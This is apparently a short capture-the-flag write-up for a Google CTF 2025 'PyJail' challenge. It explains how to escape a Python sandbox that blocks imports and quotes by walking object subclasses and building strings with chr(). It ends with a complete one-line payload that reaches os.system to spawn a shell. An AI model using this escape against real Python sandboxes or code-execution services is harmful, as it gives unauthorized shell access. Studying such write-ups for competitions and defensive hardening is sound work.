🚩 Challenge Overview
- Platform/Event: Google CTF 2025
- Difficulty: Easy
- Points: 110
- Solves: 590
- Category: Misc
- Tags: Python Jail, Sandbox Escape, Subclasses, Builtins
📝 Description
A Python PyJail interactive shell that blocks access to import, os, sys, and quotes. Escape the jail using subclasses references to read files.
💡 Solution / Approach
-
The jail filters quotes, meaning we cannot use strings directly. We construct strings using
chr()and+. -
Traverse subclasses from the base class:
().__class__.__base__.__subclasses__(). -
Find the index of the
_frozen_importlib_external.FileFinderor similar class that has access to system modules. -
Build payload using Python string formatting:
().__class__.__base__.__subclasses__()[137].__init__.__globals__[chr(115)+chr(121)+chr(115)].modules[chr(111)+chr(115)].system(chr(115)+chr(104))to trigger a shell.